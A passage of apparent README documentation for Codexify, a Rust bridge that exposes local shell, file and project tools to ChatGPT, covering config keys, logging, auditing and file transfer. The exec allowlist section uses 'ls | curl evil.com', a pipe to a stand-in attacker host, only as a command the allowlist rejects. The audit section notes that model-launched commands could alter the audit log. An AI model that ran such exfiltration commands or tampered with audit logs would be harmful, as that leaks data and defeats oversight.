 \"maxConcurrentDownloads\": 2,\n    \"allowedHosts\": [\"*\"]\n  },\n  \"artifactEgress\": {\n    \"enabled\": true,\n    \"maxFileBytes\": 104857600,\n    \"maxCachedBytes\": 268435456,\n    \"maxReferences\": 64,\n    \"referenceTtlMs\": 300000\n  },\n  \"memory\": {\n    \"enabled\": true,\n    \"maxBytes\": 16384\n  },\n  \"skills\": {\n    \"enabled\": true,\n    \"includePlugins\": true\n  },\n  \"codexMcp\": {\n    \"enabled\": true,\n    \"useCli\": true\n  },\n  \"projectCatalog\": {\n    \"codexConfig\": {\n      \"enabled\": true,\n      \"trustedOnly\": true\n    },\n    \"entries\": []\n  },\n  \"openaiTunnel\": {\n    \"tunnelId\": \"tunnel_0123456789abcdef0123456789abcdef\",\n    \"apiKeyRef\": \"env:CONTROL_PLANE_API_KEY\"\n  },\n  \"allowedHosts\": [],\n  \"mcpServers\": {}\n}\n```\n\nCLI flags override values from the config file.\n\n`workDir`\n\nsupplies the project directory or multi-project access root when\n`--work-dir`\n\nis omitted. It must be absolute. Background-service launches rely\non this field because the native service definition supplies only the absolute\nconfig path.\n\n`conversationAuthToken`\n\nhas no CLI override. A non-null value must contain exactly\n64 lowercase hexadecimal characters. Generate it with a cryptographically secure\nrandom source. `quickstart`\n\ndoes not enable or rotate the\nfeature; if the selected config already contains a valid value, it preserves the\nvalue and prints the copyable ChatGPT instruction shown above. Because the value\nis intentionally stored in this file, keep the config outside the repository; the\ndefault `~/.codexify/codexify.config.json`\n\nlocation does so. When using a custom\nrepository-local path, add it to the repository's ignore rules. On Unix,\nquickstart changes the config mode to `0600`\n\nwhen it preserves a token-bearing\nconfig; manually created configs should be protected equivalently.\n\nThe default tracing level is `info`\n\n. Every completed call names the downstream tool and, for a direct, gateway, or catalog-discovered MCP call, the resolved raw upstream server and tool. `-v`\n\nuses `codexify=debug,rmcp=warn`\n\n, which adds tool-start events, hashed conversation/project context, argument field names, duration, and output accounting without dumping payloads. `-vv`\n\nuses Codexify `trace`\n\nwhile keeping `rmcp`\n\nsuppressed and adds the fully redacted argument-shape summary. An explicit `RUST_LOG`\n\nvalue takes precedence over these defaults, but rmcp protocol-internal events remain blocked because they may contain unbounded model or user content:\n\n```\ncodexify -v --work-dir /path/to/project\nRUST_LOG=codexify=trace,rmcp=warn codexify --work-dir /path/to/project\n```\n\nActual tool requests and responses are a separate opt-in. It applies uniformly to native tools and all MCP exposure modes, rather than special-casing shell execution:\n\n```\n# Log both sides with the default 2 KiB request / 4 KiB response limits.\ncodexify --work-dir /path/to/project --log-tool-payloads\n\n# Log requests only with a larger preview and an additional local secret value.\ncodexify \\\n  --work-dir /path/to/project \\\n  --log-tool-payloads=requests \\\n  --tool-log-max-request-bytes 8192 \\\n  --tool-log-redact-env PRIVATE_REPOSITORY_TOKEN\n\n# Put the same paired events at debug severity.\ncodexify --work-dir /path/to/project --log-tool-payloads --tool-log-level debug\n```\n\nEvery enabled mode emits exactly one start and one completion event with the same server-wide monotonic `call_id`\n\n; when audit JSONL is also enabled, it receives that same ID even under concurrent dispatch. The request and response toggles control payload inclusion independently without removing the lifecycle record. Completion includes `status`\n\nand `duration_ms`\n\n. Payload fields contain compact JSON previews, an observed serialized byte count, whether that count is exact, and explicit truncation and serializer-failure flags. When exact size is available, the event also reports the omitted byte count. Serialization stops as soon as the configured prefix budget is full, then appends `...[truncated]...`\n\nat a UTF-8 boundary. It does not clone, traverse, or serialize the unseen remainder merely to measure it.\n\nShort representative events look like this (timestamps and unrelated tracing fields omitted):\n\n```\nINFO codexify::tool_payload: tool invocation started call_id=12 phase=\"start\" tool=\"read_file\" resolved_tool=\"read_file\" status=\"started\" request=\"{\\\"path\\\":\\\"src/lib.rs\\\"}\"\nINFO codexify::tool_payload: tool invocation completed call_id=12 phase=\"finish\" tool=\"read_file\" resolved_tool=\"read_file\" status=\"ok\" duration_ms=2 response=\"{\\\"content\\\":[{\\\"type\\\":\\\"text\\\",\\\"text\\\":\\\"...\\\"}],\\\"isError\\\":false}\"\nINFO codexify::tool_payload: tool invocation started call_id=13 phase=\"start\" tool=\"mcp_call_tool\" resolved_tool=\"mcp:IDA MCP/decompile_function\" mcp_server=\"IDA MCP\" mcp_tool=\"decompile_function\" status=\"started\" request=\"{\\\"source\\\":\\\"ida_mcp\\\",\\\"tool\\\":\\\"decompile_function\\\",\\\"arguments\\\":{\\\"address\\\":\\\"0x81000000\\\"}}\"\n```\n\nMCP arguments and structured results are `serde_json::Value`\n\n, so null, arrays, maps, and scalar JSON values retain their compact structure; undefined values, circular references, and other non-JSON runtime objects cannot cross this Rust boundary. An unexpected serialization failure produces a bounded `[unserializable payload]`\n\nmarker and cannot change the tool result. MCP image content blocks are represented only by MIME type and base64 byte count; their base64 data is never written to these logs. Resource links retain redacted descriptive metadata but replace the URI with an omission marker and its byte count, so opaque download capabilities are not persisted.\n\nMCP dispatchers also emit `resolved_tool`\n\n, `mcp_server`\n\n, and `mcp_tool`\n\n. These contain the raw configured server name and raw upstream tool name even when the downstream capability is a generic gateway or `mcp_call_tool`\n\n; model-visible catalog IDs remain available in the request preview. The ordinary info-level completion event carries the same resolved identity even when payload logging is disabled.\n\nPayloads are redacted lazily before their bytes reach the bounded serializer. Codexify removes configured API/conversation credentials, credential-labelled and nontrivial MCP environment/HTTP-header values, resolved MCP bearer/header environment variables, the OpenAI tunnel key when readable, common secret-bearing process environment variables, values named through `toolLogging.redactEnv`\n\n/ `--tool-log-redact-env`\n\n, input fields marked `writeOnly`\n\nor `format: \"password\"`\n\nby the tool schema, secret/checksum-labelled JSON fields, signed native-file `download_url`\n\nand `file_id`\n\nvalues, signed-URL query parameters, and common command-line/header credential syntax. This is defense in depth, not proof that arbitrary source text or tool output contains no unknown sensitive literal. JSON has no raw byte-buffer type, so image blocks and resource capabilities receive explicit safe representations; an application-specific base64 string in an otherwise ordinary text field is inside the operator trust boundary. Tool payload logging is therefore disabled by default and should be treated as sensitive operational data.\n\nThe `toolLogging`\n\nconfig block provides the same controls:\n\n| Key | Default | Description |\n|---|---|---|\n`mode` |\n`\"off\"` |\n`off` , `requests` , `responses` , or `all` |\n`level` |\n`\"info\"` |\nEvent severity: `trace` , `debug` , `info` , `warn` , or `error` |\n`maxRequestBytes` |\n`2048` |\nMaximum UTF-8 bytes retained from each redacted request; accepted range is `64` -`65536` |\n`maxResponseBytes` |\n`4096` |\nMaximum UTF-8 bytes retained from each redacted response; accepted range is `64` -`65536` |\n`redactEnv` |\n`[]` |\nEnvironment-variable names whose current values must be removed from payloads |\n\nCLI mode, level, and byte-limit options replace their corresponding config values. Repeated `--tool-log-redact-env`\n\nvalues are merged with `toolLogging.redactEnv`\n\nso a CLI invocation cannot accidentally remove configured redactions. Payload events use the `codexify::tool_payload`\n\ntracing target at the selected level, so an explicit restrictive `RUST_LOG`\n\nfilter can suppress them without incurring payload serialization work; when that happens, the ordinary info-level completion event remains available. Events go through the tracing subscriber (stdout in the HTTP server); they are never written to a bridged upstream's protocol pipe or to the downstream Streamable HTTP response. `--log-tool-calls`\n\nis equivalent to `-v`\n\n; it does not enable payload logging.\n\nAudit logging is separate from diagnostic tracing and is disabled unless a file is configured:\n\n```\ncodexify \\\n  --work-dir /path/to/project \\\n  --audit ~/.codexify/audit/tools.jsonl\n```\n\nThe append-only JSONL stream begins with `audit_started`\n\n, which identifies the server version, OS process, random run ID, and command-preview policy, then emits schema-version-2 `tool_start`\n\nand `tool_finish`\n\nrecords. Tool records carry an RFC 3339 timestamp, monotonic call ID, transport-session ID, hashed ChatGPT conversation and project identifiers, downstream and resolved tool identities (including raw MCP server/tool names), duration, status, argument shape, returned byte/token counts, truncation status when the tool can report it, and resident `exec_command`\n\nsession/PID metadata. Argument summaries include only fields declared by the tool's input schema; unknown keys and dynamic maps are counted but their key names are omitted. Raw conversation identifiers, project paths, scalar argument values, image data, structured output, and returned text are not written.\n\nCommand previews are a separate opt-in because shell commands can contain credentials, source code, paths, and environment values:\n\n```\ncodexify \\\n  --work-dir /path/to/project \\\n  --audit ~/.codexify/audit/tools.jsonl \\\n  --audit-command-preview \\\n  --audit-redact-env GITHUB_TOKEN\n```\n\nBefore a preview is written, Codexify replaces the local MCP bearer, the configured conversation-authentication token, configured MCP-server environment values, the referenced OpenAI tunnel key when readable, values named by `audit.redactEnv`\n\n/ `--audit-redact-env`\n\n, common secret-bearing process environment variables, and common `--token`\n\n, `API_KEY=…`\n\n, and `Bearer …`\n\nforms. The preview is then capped at `commandPreviewMaxBytes`\n\n. This is defense in depth, not a proof that an arbitrary command contains no sensitive literal; leave previews disabled when command text itself is sensitive.\n\nThe `audit`\n\nconfig block has the same controls:\n\n| Key | Default | Description |\n|---|---|---|\n`logFile` |\n`null` |\nJSONL destination; a relative path resolves from the launch directory. Setting it enables auditing |\n`includeCommandPreview` |\n`false` |\nInclude bounded, redacted `exec_command` previews |\n`commandPreviewMaxBytes` |\n`512` |\nMaximum UTF-8 byte length of a command preview; accepted range is `1` -`16384` |\n`redactEnv` |\n`[]` |\nEnvironment-variable names whose current values must be removed from previews |\n\n`--audit`\n\nreplaces `audit.logFile`\n\n; `--audit-command-preview`\n\nonly enables previews; and repeated `--audit-redact-env`\n\nvalues are merged with `audit.redactEnv`\n\nso a CLI invocation cannot accidentally remove configured redactions.\n\nStartup fails if an enabled audit file cannot be opened safely. On Unix, newly created files use mode `0600`\n\n, symbolic-link targets are rejected, and an existing file with group/other permission bits is rejected. A later append or flush error is emitted as an error-level diagnostic without changing the result of a tool that may already have had side effects.\n\nThis is an operational activity log, not a tamper-evident security boundary. Model-launched commands run as the same OS user and can modify any audit file they can locate and access. Keep the file outside the project access root, restrict its directory permissions, and forward it to a separately protected collector when independent evidence is required.\n\nThe `openaiTunnel`\n\nblock enables OpenAI's native outbound tunnel:\n\n| Key | Default | Description |\n|---|---|---|\n`tunnelId` |\nrequired | Existing `tunnel_…` identifier from OpenAI Platform |\n`apiKeyRef` |\n`\"env:CONTROL_PLANE_API_KEY\"` |\nRuntime API-key reference. Only `env:NAME` and `file:/path` are accepted; literal keys are rejected |\n`clientPath` |\nverified managed runtime | Explicit official `tunnel-client` or `tunnel-client-runtime` binary. Relative paths resolve from the launch directory |\n`organizationId` |\n- | Optional organization ID passed as `OpenAI-Organization` by the official client |\n\nThe `quickstart`\n\ncommand writes its runtime key to\n`~/.codexify/openai-tunnel/credentials/<tunnel-id>.key`\n\nand sets `apiKeyRef`\n\nto\nthat absolute `file:`\n\npath. It never writes the key itself into\n`codexify.config.json`\n\n; on Unix, the credential directory is mode `0700`\n\nand the key\nfile is mode `0600`\n\n.\n\nNative mode deliberately cannot be combined with a caller-supplied `apiKey`\n\n/ `--api-key`\n\n: Codexify generates a high-entropy bearer token for the loopback MCP hop and injects it into the tunnel runtime through static MCP and discovery headers. Host validation is forced to loopback authorities and permissive browser CORS is disabled.\n\nThe OpenAI runtime key authenticates the outbound control-plane connection. Codexify resolves the configured `env:NAME`\n\nor `file:/path`\n\nreference once, passes the value to the tunnel child under a private synthetic environment name, and removes the original environment variable from model-launched commands and bridged MCP children. The tunnel runtime starts with a small allowlist of ordinary OS variables rather than inheriting tunnel-client configuration, proxy, header, or trust-store overrides from the launching shell. On Unix, a referenced key file must not be readable by group or other users. These measures prevent accidental inheritance; they do not create a secret boundary against hostile code running as the same OS user, which can potentially inspect same-user processes or read an accessible key file.\n\nThe top-level `multiProject`\n\nkey is the config-file equivalent of `--multi-project`\n\n. In that mode the process reads one static `codexify.config.json`\n\n; project selection changes the effective work directory used by project-scoped tools, not the server configuration itself. The native Codex project table is the exception to the startup snapshot: `list_projects`\n\nrereads it on every call so newly trusted projects become discoverable without restarting Codexify. ChatGPT conversation bindings are independent of the `memory`\n\nblock and are enabled even when `memory.enabled`\n\nis `false`\n\n.\n\n`projectCloneDir`\n\nselects where `set_project_root`\n\nplaces a repository requested by Git URL but lacking a matching local checkout. It defaults to the multi-project access root (`--work-dir`\n\n); a relative value is resolved against that access root, while `--project-clone-dir`\n\noverrides the file setting. The directory must already exist, must be a directory, and must canonicalize to the access root or one of its descendants. The destination follows normal `git clone`\n\nnaming (`<projectCloneDir>/<repository-name>`\n\n); an unrelated file or checkout at that path is never overwritten. Provider-agnostic repository URLs clone their default checkout. GitHub branch URLs clone the named branch when a repository must be created, while PR and commit URLs clone the repository and then detach at the fetched target commit.\n\nThe `worktrees`\n\nblock controls isolation between conversations selecting the same Git project:\n\n| Key | Default | Description |\n|---|---|---|\n`mode` |\n`\"auto\"` |\n`\"auto\"` lets the first conversation use the selected checkout and gives later conversations managed worktrees; `\"always\"` isolates every conversation; `\"never\"` uses the selected checkout directly |\n`root` |\nCodex worktree location | Parent directory for managed worktrees; overridden by `--worktree-root` |\n`upstreamRefreshMode` |\nCodex setting or `\"never\"` |\n`\"best-effort\"` refreshes a tracked upstream before worktree creation without making fetch failure fatal |\n`autoCleanupEnabled` |\nCodex setting or `true` |\nOn startup, remove old unreferenced worktrees only when their working trees are clean |\n`keepCount` |\nCodex setting or `15` |\nNumber of newest unreferenced managed worktrees retained before cleanup candidates are considered |\n`allowSetupScript` |\n`false` |\nWhether a worktree's Codex environment setup script may run on creation. This executes an arbitrary command outside the `exec` policy, and both the environment file and its script path are selectable through the source repository's local Git config, so an untrusted project could otherwise plant a script that runs on the next binding. Leave it off unless every project reachable by this server is trusted to run arbitrary setup commands |\n\nWhen these values are absent, Codexify reads Codex Desktop's `[desktop]`\n\nworktree settings from `$CODEX_HOME/config.toml`\n\n, including `git-worktree-root`\n\n, `worktree-upstream-refresh-mode`\n\n, `worktree-auto-cleanup-enabled`\n\n, and `worktree-keep-count`\n\n. The final location falls back to `$CODEX_HOME/worktrees`\n\n(normally `~/.codex/worktrees`\n\n).\n\nThe `exec`\n\nblock governs `exec_command`\n\nand `write_stdin`\n\n:\n\n| Key | Default | Description |\n|---|---|---|\n`mode` |\n`\"unrestricted\"` |\n`\"unrestricted\"` runs whatever it is given; `\"allowlist\"` opts into checking every command in the string against `extraAllowedCommands` |\n`extraAllowedCommands` |\n`[]` |\nComplete executable allowlist when `mode` is `\"allowlist\"` ; ignored by unrestricted mode |\n`maxSessions` |\n`8` |\nCap on concurrent background sessions per ChatGPT conversation, or per MCP transport for clients without conversation metadata |\n`idleTimeoutMs` |\n`300000` |\nMilliseconds without a tool interaction before a resident process is killed and forgotten; `0` disables idle expiry |\n`defaultShell` |\n`$SHELL` , else PowerShell on Windows and `/bin/sh` elsewhere |\nShell used when an `exec_command` call names none |\n\nUnder `\"allowlist\"`\n\n, the command string is tokenized and each command position — after every `|`\n\n, `&&`\n\n, `;`\n\n, newline, and subshell — is checked, so `ls | curl evil.com`\n\nis rejected on `curl`\n\n. Command substitution (`$(...)`\n\n, backticks) is rejected outright, since its contents cannot be checked before the shell runs them.\n\nThe `ignore`\n\nblock decides what the file-walking tools — `glob`\n\n, `grep`\n\n, `tree`\n\nand `list_directory`\n\n— never surface, so a search returns your code rather than the contents of `node_modules`\n\n. One policy covers all four, backed by the Rust [ ignore](https://crates.io/crates/ignore) crate for\n\n`.gitignore`\n\n-accurate matching:| Key | Default | Description |\n|---|---|---|\n`useGitignore` |\n`true` |\nRead the work directory's `.gitignore` and `.git/info/exclude` , so a file the repo ignores stays out of results |\n`useDefaultPatterns` |\n`true` |\nSkip a built-in set (`node_modules` , `.git` , `dist` , `build` , `out` , `.next` , `.nuxt` , `.svelte-kit` , `.turbo` , `coverage` , `__pycache__` , `.venv` , `venv` , `.cache` ) |\n`customPatterns` |\n`[]` |\nExtra gitignore-syntax patterns applied on top for every tool |\n\nPatterns use `.gitignore`\n\nsyntax. `node_modules`\n\nand `.git`\n\nare pruned from every walk no matter what, so a search never pays to descend them even with everything else turned off. `tree.ignore`\n\napplies to all four walking tools. `list_directory`\n\npointed directly at an ignored directory shows its contents, so an ignored directory can be inspected explicitly.\n\nThe `projectDoc`\n\nblock governs [AGENTS.md](#agentsmd) discovery. All three keys are optional, and the block itself can be left out entirely:\n\n| Key | Default | Description |\n|---|---|---|\n`maxBytes` |\n`32768` |\nByte budget shared by all the docs found; `0` disables the feature |\n`fallbackFilenames` |\n`[]` |\nExtra filenames to try per directory, after `AGENTS.override.md` and `AGENTS.md` |\n`rootMarkers` |\n`[\".git\"]` |\nFilenames or directories that mark the project root; an empty list stops the walk at the work directory |\n\nThe `output`\n\nblock bounds what a single tool call may return. See [Context and memory](#context-and-memory):\n\n| Key | Default | Description |\n|---|---|---|\n`maxToolOutputTokens` |\n`10000` |\nApproximate token ceiling applied independently to textual `content` and `structuredContent` visible to the model. Call-level command budgets may lower it but cannot raise it |\n`maxFileLines` |\n`1000` |\nLines `read_file` returns per call; a caller's own `limit` can lower this but not raise it |\n`maxFileBytes` |\n`131072` |\nByte ceiling for the same window, which is what actually bounds a minified file |\n`maxEntries` |\n`500` |\nResults per `glob` , `grep` , or `list_directory` call |\n`maxTreeNodes` |\n`1000` |\nNodes in one `tree` walk, counted across the whole tree rather than per directory |\n\nThe `diff`\n\nblock bounds presentation without changing checkpoint semantics. The former `review`\n\nkey remains accepted as a compatibility alias:\n\n| Key | Default | Description |\n|---|---|---|\n`maxPatchBytes` |\n`4194304` |\nLargest complete binary-capable patch attached to the diff widget's component-only result metadata. The 4 MiB default is regression-tested with 10,000 changed code lines of roughly 300 bytes each; unusually long lines and large binary patches can still exceed it. A larger patch is omitted rather than cut mid-hunk, while file metadata and aggregate statistics remain available. `0` disables patch bodies |\n\nThe `artifactIngress`\n\nblock governs [native host-file ingress](#native-host-file-ingress):\n\n| Key | Default | Description |\n|---|---|---|\n`enabled` |\n`true` |\nExpose `import_host_file` ; `false` removes the tool from `tools/list` |\n`maxFileBytes` |\n`104857600` |\nMaximum downloaded bytes per file (100 MiB, approximately 104.9 MB), enforced from both declared and streamed size |\n`requestTimeoutMs` |\n`120000` |\nWhole import deadline, including network transfer and publication |\n`idleTimeoutMs` |\n`30000` |\nMaximum wait between response-body chunks; must not exceed `requestTimeoutMs` |\n`maxRedirects` |\n`3` |\nMaximum manually validated redirects, between `0` and `10` |\n`maxConcurrentDownloads` |\n`2` |\nProcess-wide concurrent import cap, between `1` and `16` |\n`allowedHosts` |\n`[\"*\"]` |\nHost patterns a download URL and every redirect hop must match. `\"*\"` accepts any public HTTPS host while rejecting internal/reserved addresses (loopback, private, link-local, unique-local, CGNAT, `localhost` , cloud metadata). A bare host (`files.example.com` ) matches exactly; a leading dot (`.example.com` ) matches that host and its subdomains; an explicitly named host is trusted as given, including an internal one |\n\nThe `artifactEgress`\n\nblock governs [native host-file egress](#native-host-file-egress) and the opaque capabilities used to proxy resource links returned by bridged MCP servers:\n\n| Key | Default | Description |\n|---|---|---|\n`enabled` |\n`true` |\nExpose `export_host_file` and allow bridged upstream `resource_link` results to be proxied; `false` removes the native export tool and leaves bridged resource links unavailable |\n`maxFileBytes` |\n`104857600` |\nMaximum bytes in one native exported snapshot or one proxied upstream resource (100 MiB, approximately 104.9 MB). Native files are checked before and during snapshotting; bridged links reject an oversized advertised size and re-check the actual text/blob content returned by `resources/read` |\n`maxCachedBytes` |\n`268435456` |\nProcess-wide payload-byte ceiling for live immutable native snapshots (256 MiB, approximately 268.4 MB); bridged resources are fetched from their upstream MCP on demand and do not consume this byte cache |\n`maxReferences` |\n`64` |\nMaximum live references in each egress capability store, between `1` and `1024` ; native snapshot references and bridged-upstream references are independently bounded and evict their oldest entry when full |\n`referenceTtlMs` |\n`300000` |\nLifetime of native and bridged opaque resource capabilities after the tool call (5 minutes). Expired references return `resource_not_found` ; invoke the producing tool again to obtain a fresh one |\n\nThe `memory`\n\nblock governs `remember`\n\n, `recall`\n\nand the plan `update_plan`\n\nsaves:\n\n| Key | Default | Description |\n|---|---|---|\n`enabled` |\n`true` |\n`false` turns persistence off entirely; nothing is read or written |\n`dir` |\n`~/.codexify/projects/<name>-<hash of work-dir>` |\nWhere the state file lives. Outside the repository by default. In multi-project mode, an explicit `dir` is treated as a base directory and each selected project gets its own hashed child directory |\n`maxBytes` |\n`16384` |\nBudget for all notes together. A note over it is rejected, not silently evicted |\n\nThe `skills`\n\nblock governs `SKILL.md`\n\ndiscovery. See [Skills](#skills):\n\n| Key | Default | Description |\n|---|---|---|\n`enabled` |\n`true` |\n`false` searches nothing; both tools say so and the catalogue leaves `instructions` |\n`dirs` |\n`~/.agents/skills` , `~/.codex/skills` , `~/.claude/skills` |\nUser-scope directories, replacing the home-directory defaults. Relative paths resolve against the work directory; project-scope roots are unaffected |\n`includePlugins` |\n`true` |\nDiscover enabled installed OpenAI Codex and Claude Code plugin skills. Setting `dirs` disables this unless you set it back to `true` |\n\nThe `codexMcp`\n\nblock controls [automatic import of MCP servers configured in Codex](#bridging-other-mcp-servers):\n\n| Key | Default | Description |\n|---|---|---|\n`enabled` |\n`true` |\nImport Codex MCP servers (direct `config.toml` parsing plus CLI discovery); `false` disables only MCP-server import — project catalogue discovery is unaffected — unless the explicit `--codex-cli` requirement overrides it |\n`useCli` |\n`true` |\nEnrich direct config parsing with `codex mcp list/get --json` , which includes MCP servers contributed by enabled Codex plugins. `false` keeps direct `config.toml` parsing but does not invoke Codex |\n`cliPath` |\n`CODEX_CLI_PATH` , then `codex` on `PATH` |\nCodex executable used for CLI enrichment. Relative paths resolve from the directory where Codexify was launched |\n\nThe `projectCatalog`\n\nblock controls project discovery in [multi-project mode](#multi-project-mode). It is independent from `codexMcp`\n\n: disabling imported MCP servers does not disable native project discovery, and vice versa.\n\n| Key | Default | Description |\n|---|---|---|\n`codexConfig.enabled` |\n`true` |\nRead the top-level native Codex `[projects]` table as one candidate provider |\n`codexConfig.trustedOnly` |\n`true` |\nInclude only native entries whose `trust_level` is `\"trusted\"` ; this is a discovery filter, not the Codexify authorization boundary |\n`entries` |\n`[]` |\nOptional explicit paths and semantic metadata. An entry may augment an imported path or add a path absent from native Codex, but it cannot escape `--work-dir` |\n\nEach `entries`\n\nelement supports:\n\n| Key | Required | Description |\n|---|---|---|\n`path` |\nYes | Absolute path or a path relative to the access root |\n`name` |\nNo | Display name; defaults to the canonical directory basename |\n`aliases` |\nNo | Additional case-insensitive intent-matching names |\n`description` |\nNo | Short explanation of the project's purpose, searched by `list_projects` |\n\nFor example:\n\n```\n{\n  \"multiProject\": true,\n  \"projectCatalog\": {\n    \"codexConfig\": {\n      \"enabled\": true,\n      \"trustedOnly\": true\n    },\n    \"entries\": [\n      {\n        \"path\": \"codexify\",\n        \"name\": \"Codexify\",\n        \"aliases\": [\"ChatGPT MCP bridge\"],\n        \"description\": \"Rust MCP bridge exposing local programming tools to ChatGPT\"\n      }\n    ]\n  }\n}\n```\n\nMetadata overlays are merged by canonical path. Explicit entries are operator-authored providers in their own right, so they may include a path that native Codex marks untrusted or does not record; they cannot widen the access-root boundary. Aliases are deduplicated case-insensitively, and aliases shared by different projects produce a warning because they make intent matching ambiguous. Catalogue construction never opens a candidate's README, source, `.codex/`\n\n, or `AGENTS.md`\n\n; project contents remain unread until the conversation has selected that project.\n\nGit URL selection is separate from catalogue listing. Before cloning, Codexify checks the normal destination, catalogue candidates, and immediate child directories of `projectCloneDir`\n\n, then compares normalized remotes at each Git top level. Exactly one match is reused; multiple matches are rejected as ambiguous so the caller can pass an explicit path. Provider-agnostic repository selection accepts HTTPS URLs such as `https://gitlab.com/group/repository.git`\n\n, SSH URLs such as `ssh://git@gitlab.com/group/repository.git`\n\n, and SCP-style SSH URLs such as `git@gitlab.com:group/repository.git`\n\n. Non-GitHub selections must end in `.git`\n\n, which avoids treating arbitrary provider web pages as repositories; an already-cloned matching remote may omit that suffix. GitHub additionally accepts repository-root URLs without `.git`\n\nplus HTTPS branch (`/tree/<branch>`\n\n), pull-request (`/pull/<number>`\n\n), and commit (`/commit/<sha>`\n\n) URLs. For branch URLs, everything after `/tree/`\n\nis interpreted as the branch ref, including `/`\n\ncharacters. Commit URLs require the full 40-character hexadecimal object ID and normalize it to lowercase. Credential-bearing HTTPS URLs, query strings, fragments, `file://`\n\n, HTTP, `git://`\n\n, and other transports are rejected.\n\nThe `openaiTunnel`\n\nblock, `allowedHosts`\n\narray, and `mcpServers`\n\nmap are covered under [Native OpenAI tunnel](#native-openai-tunnel-recommended), [Host allowlist](#host-allowlist), and [Bridging other MCP servers](#bridging-other-mcp-servers).\n\nChatGPT attachments and generated files live in host-managed storage, not automatically on the machine running Codexify. `import_host_file`\n\ncloses that gap:\n\n```\nuser attaches or ChatGPT generates a file\n        ↓\nthe agent calls import_host_file(file, path)\n        ↓\nChatGPT supplies a temporary authorized native-file value\n        ↓\nCodexify streams the exact bytes into the active project\n```\n\nThe file argument follows ChatGPT's native file-parameter contract and is marked through `_meta[\"openai/fileParams\"]`\n\n; the model does not pass an arbitrary URL. `path`\n\nis a required new file path relative to the active project or managed worktree. The destination is invisible until the complete download has passed its size and integrity checks, and an existing file or symlink is never replaced.\n\nSource and destination authority are deliberately narrow:\n\n- only HTTPS URLs are accepted, constrained by the configurable\n`artifactIngress.allowedHosts`\n\nallowlist and revalidated on every redirect hop; the default`\"*\"`\n\nwildcard admits any public host but always rejects internal and reserved targets (loopback, private, link-local, unique-local, CGNAT,`localhost`\n\n, the cloud metadata address), so an injected URL cannot reach internal services; - proxy environment variables, caller-supplied headers, cookies and ambient credentials are not used;\n- the temporary signed URL and file ID are never returned or persisted, and RMCP framework events are excluded from the tracing layer so\n`RUST_LOG`\n\ncannot expose native-file arguments before tool dispatch; - destination traversal and symlink escapes are confined through a capability-based directory handle rather than a lexical path check alone;\n- bytes are written to a private same-directory partial, hashed with SHA-256, synchronized, and atomically published through a no-overwrite hard link;\n- archive extraction, execution, arbitrary URL fetching and arbitrary local-source paths are outside this tool's contract.\n\nAfter publication, the result is an ordinary project file. Git, `glob`\n\n, `tree`\n\n, diff tools and normal deletion provide its catalogue and lifecycle; Codexify does not maintain a second artifact database or TTL.\n\nMachine-local paths are not downloadable by ChatGPT, and returning a large binary file as base64 text would put the encoded payload into the tool result and model context. `export_host_file`\n\ninstead uses MCP's resource flow:\n\n```\nthe agent creates or selects a project file\n        ↓\nthe agent calls export_host_file(path)\n        ↓\nCodexify opens the file through the active-project capability and snapshots its exact bytes\n        ↓\nthe tool returns a standard MCP resource_link with an opaque codexify://artifact/... URI\n        ↓\nthe connector host resolves that URI through resources/read and receives a base64 blob resource\n```\n\nThe returned resource describes the original filename, MIME type and byte count. The structured receipt includes the project-relative source path, SHA-256 digest and remaining lifetime, but deliberately does not duplicate the bearer-capability URI into ordinary structured data. It never exposes an absolute filesystem path or asks the model to copy the file contents through text.\n\nThe resource is an immutable snapshot, not a delayed path read. Replacing, truncating, deleting or retargeting the source after `export_host_file`\n\nreturns cannot change the bytes served for that reference. Source access is capability-confined to an existing regular file inside the active project; traversal, absolute paths and symlink escapes fail closed. The read is bounded before allocation and again while streaming so a growing file cannot cross `artifactEgress.maxFileBytes`\n\nunnoticed.\n\nEach URI contains a 256-bit random bearer capability. Issued resources are not added to `resources/list`\n\n, are shared only through the tool result, and remain in a process-wide in-memory cache so ChatGPT can replace the MCP transport between the tool call and `resources/read`\n\n. The cache is bounded by both total bytes and reference count; oldest entries are evicted as needed, every reference expires after `artifactEgress.referenceTtlMs`\n\n, and all references disappear when Codexify restarts. Calling `export_host_file`\n\nagain creates a fresh snapshot and capability.\n\nBy default the server is pinned to one project: `--work-dir`\n\n*is* the project root, and every project-scoped tool resolves against it. Multi-project mode turns `--work-dir`\n\ninto an *access root* instead — a directory beneath which each conversation selects its own project — so a single running server can serve many repositories without a process per repo.\n\nEnable it with `--multi-project`\n\nor `\"multiProject\": true`\n\n(see [CLI flags](#cli-flags) and [Config file](#config-file)). One static `codexify.config.json`\n\nis read at startup; selection changes only the effective work directory the project tools use, never the server configuration itself.\n\nEach conversation binds a project exactly once, through the [ set_project_root](#tools) tool. When neither an exact path nor an exact supported Git repository URL is known,\n\n[provides a project-independent enumeration step first:](#tools)\n\n`list_projects`\n\n- The path is relative to the access root or absolute, but its canonical target must be an existing directory inside that root. Traversal (\n`..`\n\n) and symlink escapes are rejected*after*canonicalisation, so a link pointing outside the root cannot smuggle a selection past the check. - A Git repository URL is normalized into a conservative remote identity. Non-GitHub selections accept HTTPS/SSH URLs ending in\n`.git`\n\n; conventional hosting-service SSH remotes such as`git@host:group/repository.git`\n\nmatch their HTTPS equivalent, while arbitrary SSH users and custom-port endpoints remain distinct. GitHub repository roots retain their existing shorthand forms and may also carry an exact branch, PR, or commit target. Codexify first reuses an unambiguous matching local Git top level. Otherwise it serializes concurrent requests for that repository, runs non-interactive`git clone`\n\ninto a private temporary directory below`projectCloneDir`\n\n, verifies the resulting remote, and publishes it at`<projectCloneDir>/<repository-name>`\n\n. Name collisions fail rather than overwrite data. - Branch URLs fetch\n`refs/heads/<branch>`\n\n; PR URLs fetch GitHub's`refs/pull/<number>/head`\n\n; commit URLs fetch the exact full object ID. A fresh branch clone checks out the named branch, while fresh PR and commit clones detach at the selected commit. For an existing checkout, target fetching does not switch, reset, or otherwise move its`HEAD`\n\n. - The binding belongs to the\n**ChatGPT conversation**, keyed from`_meta[\"openai/session\"]`\n\n(the raw identifier is hashed, never stored), so simultaneous chats can hold different projects and a later turn recovers its own root after MCP reconnects or a server restart. A client that sends no ChatGPT conversation metadata falls back to a binding that lasts only the current MCP transport session. - With the default worktree mode, the first conversation selecting a Git project uses the source checkout directly. Once that logical project is already assigned, another conversation receives a detached managed worktree under the configured Codex worktree location, preventing concurrent chats from editing the same checkout. A branch, PR, or commit URL also receives a detached worktree when the existing source checkout is on another commit.\n`always`\n\nisolates every selection;`never`\n\nuses the source directly and therefore rejects a targeted URL unless that source is already at the requested commit. - Worktree identity uses the repository's Git common directory plus the selected path relative to its Git root. Linked worktrees 